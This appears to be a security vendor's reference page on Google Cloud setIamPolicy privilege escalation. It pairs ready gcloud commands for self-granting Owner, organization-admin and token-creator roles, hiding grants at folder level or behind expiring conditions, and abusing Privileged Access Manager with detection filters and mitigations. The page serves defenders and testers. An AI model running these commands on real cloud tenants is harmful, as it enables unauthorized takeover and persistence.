1. Resources
  2. Identity Threats
  3. Google Cloud

Google Cloud setIamPolicy Privilege Escalation

Also known as: setIamPolicy abuse, GCP IAM policy binding escalation, add-iam-policy-binding abuse, Privileged Access Manager grant abuse

A principal that can write an allow policy on a project, folder, organization or service account grants itself any role there and inherits it on every resource below.

Platform
Google Cloud
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
A setIamPolicy permission on the target: resourcemanager.projects, folders or organizations.setIamPolicy, or iam.serviceAccounts.setIamPolicy. A PAM entitlement the attacker may request also works.
What the attacker gains
Any role, up to Owner or Organization Admin, on the resource and everything below it, or the ability to mint tokens for a service account.

How it works

In Google Cloud IAM, access is granted by an allow policy attached to a resource. The policy is a list of bindings, and each binding ties a role to a set of principals, optionally under a condition. The setIamPolicy method replaces that policy. Whoever may call it on a resource decides who holds which role there, including themselves. That makes any *.setIamPolicy permission equal to the strongest role that can be granted on the resource, and it is the most direct form of privilege escalation in Google Cloud.

Four properties shape the attack:

  • Inheritance. Allow policies are inherited down the resource hierarchy: organization, folders, projects, resources. A binding added on a folder applies to every project under it, and it is not shown in the allow policy of those projects. A project that moves to another folder picks up that folder's bindings.
  • Service accounts are resources too. A service account has its own allow policy that says who may use it. A binding with roles/iam.serviceAccountTokenCreator on that policy lets the member mint tokens for the account, which leads to service account impersonation. The same role granted on a project applies to the service accounts in that project.
  • Conditions and policy versions. A binding can carry a Common Expression Language condition, for example an expiry time. Conditional bindings need policy version 3. A tool that reads the policy as version 1 does not see the condition expression, and Google requires the etag when updating a policy that has conditions; a write without it can replace a version 3 policy with a version 1 policy and drop the conditions.
  • The write replaces the whole policy. set-iam-policy overwrites the existing allow policy with the one supplied. A single call can add the attacker's binding and remove or rewrite others.

Variants covered on this page:

Variant Policy that is written Effect
Project binding Project allow policy A role on one project and its resources
Folder or organization binding Ancestor allow policy The role on every descendant project, invisible in project policies
Service account binding Allow policy of one service account The member can mint tokens for, or attach, that account
Conditional binding Any of the above, with a condition A grant that looks temporary or narrow, or that hides from version 1 exports
Privileged Access Manager grant Written by Privileged Access Manager for the requester A time-bound role without the requester holding setIamPolicy

Prerequisites

  • An identity in the target organization: a user, a service account key, a token from a compromised workload, or a federated identity.
  • One of the following on the target resource, directly, through a group, or inherited from an ancestor:
    • resourcemanager.projects.setIamPolicy, resourcemanager.folders.setIamPolicy or resourcemanager.organizations.setIamPolicy. Google names Project IAM Admin (roles/resourcemanager.projectIamAdmin), Folder Admin (roles/resourcemanager.folderAdmin), Organization Admin (roles/resourcemanager.organizationAdmin) and Security Admin (roles/iam.securityAdmin) as the predefined roles for this.
    • iam.serviceAccounts.setIamPolicy on a service account, for the service account variant.
    • Eligibility as a requester on a Privileged Access Manager entitlement, for the grant variant.
  • No deny policy or organization policy that blocks the grant. Domain restricted sharing (iam.allowedPolicyMemberDomains) stops bindings for members outside the allowed domains.

A custom role that includes a setIamPolicy permission is as dangerous as the predefined ones. See custom role modification for how such a permission is added to a role that is already bound.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find where the current identity can write a policy

# Who am I, and where does the project sit in the hierarchy
gcloud auth list
gcloud projects get-ancestors-iam-policy example-project --format=json

# Every binding in the organization that names the current identity
gcloud asset search-all-iam-policies \
    --scope='organizations/123456789012' \
    --query='policy:alice@corp.example.com'

# Bindings whose role contains a policy-write permission
gcloud asset search-all-iam-policies \
    --scope='organizations/123456789012' \
    --query='policy.role.permissions:resourcemanager.projects.setIamPolicy'

get-ancestors-iam-policy returns the allow policies of the project and of each folder and the organization above it, which is where inherited rights show up. See Google Cloud IAM enumeration for more ways to list effective access.

2. Add a binding on a project

gcloud projects add-iam-policy-binding example-project \
    --member='user:alice@corp.example.com' \
    --role='roles/owner'

A less obvious choice than Owner is a role that leads to the same place, such as roles/resourcemanager.projectIamAdmin or roles/iam.serviceAccountTokenCreator.

3. Add a binding on a folder or the organization

gcloud resource-manager folders add-iam-policy-binding 345678901234 \
    --member='user:alice@corp.example.com' \
    --role='roles/editor'

gcloud organizations add-iam-policy-binding 123456789012 \
    --member='serviceAccount:svc-app@example-project.iam.gserviceaccount.com' \
    --role='roles/resourcemanager.organizationAdmin'

The role now applies to every project below the folder or organization. Reviews that look only at project allow policies do not show it.

4. Add a binding on a service account

gcloud iam service-accounts add-iam-policy-binding \
    svc-deploy@example-project.iam.gserviceaccount.com \
    --member='user:alice@corp.example.com' \
    --role='roles/iam.serviceAccountTokenCreator'

# Use it: an access token for the service account
gcloud auth print-access-token \
    --impersonate-service-account=svc-deploy@example-project.iam.gserviceaccount.com

5. Use a condition

A condition can make the grant expire on its own, so there is no later removal to notice:

gcloud projects add-iam-policy-binding example-project \
    --member='user:alice@corp.example.com' \
    --role='roles/resourcemanager.projectIamAdmin' \
    --condition='expression=request.time < timestamp("2026-12-01T00:00:00Z"),title=temporary-access'

Basic roles (roles/owner, roles/editor, roles/viewer) cannot be granted with a condition.

6. Replace the whole policy

gcloud projects get-iam-policy example-project --format=json > policy.json
# edit policy.json: add or change bindings, keep the etag field
gcloud projects set-iam-policy example-project policy.json

This is the read-modify-write pattern Google documents. It also lets one write change several bindings at once.

7. Request a Privileged Access Manager grant

Where Privileged Access Manager is in use, an eligible requester gets the entitlement's roles without holding any setIamPolicy permission:

gcloud pam grants create \
    --entitlement=prod-admin \
    --location=global \
    --project=example-project \
    --requested-duration=3600s \
    --justification='ticket 4711'

If the entitlement has no approval workflow, the grant activates at once. Privileged Access Manager adds a role binding with a time-based condition to the resource's allow policy and removes it when the grant ends. An attacker who can update the entitlement can add itself as a requester, lengthen the maximum duration or change the approvers before requesting.

Impact

The attacker holds whatever role it chose, at the level it chose. Owner on a project gives control of all resources and of the project's allow policy. A role on a folder or the organization gives the same across every project below, which is control of the cloud estate. A Token Creator binding on a privileged service account gives that account's access without changing any project policy.

The change is also a persistence mechanism: a binding for a second identity (another user, an external account, a service account in an attacker-controlled project, or a workload identity pool principal) keeps working after the first credential is revoked. Changes made during a Privileged Access Manager grant, such as new bindings or keys, outlive the grant.

OPSEC and artifacts

  • Granting at an ancestor. A folder or organization binding stays out of project policy exports and project-level reviews. The write is still recorded in the Admin Activity log of the folder or organization, with the method cloudresourcemanager.v3.folders.setIamPolicy or cloudresourcemanager.v3.organizations.setIamPolicy (older API versions use v1, v2 and v2beta1 names).
  • Granting on the service account instead of the project. No project policy changes. IAM records google.iam.admin.v1.SetIAMPolicy on the service account in the Admin Activity log of the account's project. See the SetIAMPolicy detection source.
  • Quiet roles. Operators avoid Owner and Editor and pick a role with a single useful permission, or bind a group they already belong to. The audit entry's policy delta still names the role and the member that were added.
  • Expiring conditions. A conditional binding lapses without a second write. The original write is logged, and the expired binding stays in the policy until someone removes it.
  • Version 1 readers. A collector that requests policy version 1 gets a conditional role without its expression. Evidence taken that way understates or misreads the grant; the stored policy is unchanged.
  • Privileged Access Manager. CreateGrant and ApproveGrant are Admin Activity events of privilegedaccessmanager.googleapis.com. Activation and expiry are System Event entries named PAMActivateGrant, PAMEndGrant and PAMExpireGrant.
  • Admin Activity cannot be turned off. These logs are always written and are kept in the _Required bucket for 400 days, so the attacker cannot avoid the record, only make it look routine.

Detection

Every variant is a write that the Admin Activity audit log records. The work is in telling a malicious grant from routine access management.

A Cloud Logging filter that finds policy writes on the hierarchy and on service accounts:

log_id("cloudaudit.googleapis.com/activity")
(protoPayload.serviceName="cloudresourcemanager.googleapis.com" OR
 protoPayload.serviceName="iam.googleapis.com")
protoPayload.methodName =~ "(?i)(^|[.])setiampolicy$"

The case-insensitive suffix covers both the setIamPolicy spelling of Resource Manager and the SetIAMPolicy spelling of IAM. Run it at the organization so that folder and organization writes are included:

gcloud logging read \
    'log_id("cloudaudit.googleapis.com/activity") AND protoPayload.methodName=~"(?i)(^|[.])setiampolicy$"' \
    --organization=123456789012 --freshness=7d --limit=100 --format=json

For each result read protoPayload.resourceName (which resource, and so which level), protoPayload.authenticationInfo.principalEmail (who wrote it), protoPayload.serviceData.policyDelta.bindingDeltas (the role, member and ADD or REMOVE action) and protoPayload.status. The request body shows intended state only; confirm the stored policy afterwards. Keep removals in the same pipeline as additions, because a full policy replacement can remove a control while adding nothing suspicious.

Useful baselines: the small set of identities that normally call setIamPolicy at folder and organization level, the pipelines that manage project policies, and the hours they run.

Mitigation

  • Keep policy administration small. Limit the roles that contain setIamPolicy on the organization and folders to a few named administrators and a controlled pipeline. Review custom roles for policy-write permissions. See least privilege in Google Cloud IAM.
  • Grant at the lowest level that works. Prefer bindings on a single resource or project over folder and organization bindings, and review inherited grants before approving a project move.
  • Protect service account policies. Grant impersonation roles on individual service accounts, not on projects, and do not let users change the allow policy of a service account that has more privileges than they do.
  • Use deny policies and organization policies as guardrails. Deny policies can block sensitive permissions regardless of allow bindings, and domain restricted sharing blocks grants to outside identities.
  • Use Privileged Access Manager with approval. Replace standing administration roles with entitlements that require approval and justification, keep the requester and approver groups tight, and monitor entitlement changes. Do not edit bindings that Privileged Access Manager manages by hand.
  • Read policies at version 3 and write with the etag. Tooling that manages policies must request version 3 and send the etag, so that conditions are neither hidden nor dropped.
  • Alert on the Admin Activity log at the organization level, and route it to storage the project owners cannot change.

Detection rules for this attack

Log events to collect

FAQ

Which permissions allow setIamPolicy privilege escalation in Google Cloud?

Any permission that writes an allow policy: resourcemanager.projects.setIamPolicy, resourcemanager.folders.setIamPolicy, resourcemanager.organizations.setIamPolicy and iam.serviceAccounts.setIamPolicy are the main ones. Google lists Project IAM Admin, Folder Admin, Organization Admin and Security Admin as the predefined roles for managing access on projects, folders and organizations. A custom role that contains one of these permissions has the same effect.

Why does a binding on a folder or organization matter more than one on a project?

Allow policies are inherited down the resource hierarchy. A role granted on an organization or folder applies to every folder, project and resource below it, and it does not appear in the allow policy of the projects themselves. Removing a project-level binding leaves the inherited one in place.

How do you detect a malicious IAM policy change in Google Cloud?

SetIamPolicy calls on projects, folders, organizations and service accounts are written to the Admin Activity audit log, which is always on. Alert when the policy delta adds Owner, Editor, an IAM administration role or a service account impersonation role, when the new member is outside your domain, and when the caller is a workload identity that has no reason to manage access.

Can Privileged Access Manager be abused in the same way?

Yes. Privileged Access Manager adds a time-bound role binding for the requester when a grant is activated. A principal who is eligible on an entitlement, or who can edit an entitlement to make itself eligible or remove the approval step, gets the entitlement's roles for the grant's duration and can make durable changes while the grant is active.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.